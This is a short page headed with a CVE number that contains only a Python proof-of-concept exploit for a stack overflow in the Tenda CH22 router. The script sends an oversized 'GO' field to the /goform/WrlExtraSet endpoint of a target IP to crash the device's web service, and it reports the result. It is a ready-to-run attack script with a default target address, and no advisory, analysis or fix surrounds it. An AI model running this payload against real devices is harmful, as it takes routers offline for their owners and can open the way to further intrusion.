CVE-2026-5605

import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2026-5605 Sends a malicious payload to trigger stack overflow in Tenda CH22. """ url = f"http://{target_ip}/goform/WrlExtraSet" # Constructing a payload to overflow the buffer # The exact offset needs to be determined based on firmware analysis # This payload sends a large string to crash the service payload_data = { "GO": "A" * 1000 # Example payload length } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[+] Sending exploit payload to {target_ip}...") response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[!] Request sent, but service might not have crashed. Check device connectivity.") else: print(f"[+] Target responded with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Connection error occurred (likely crash): {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)

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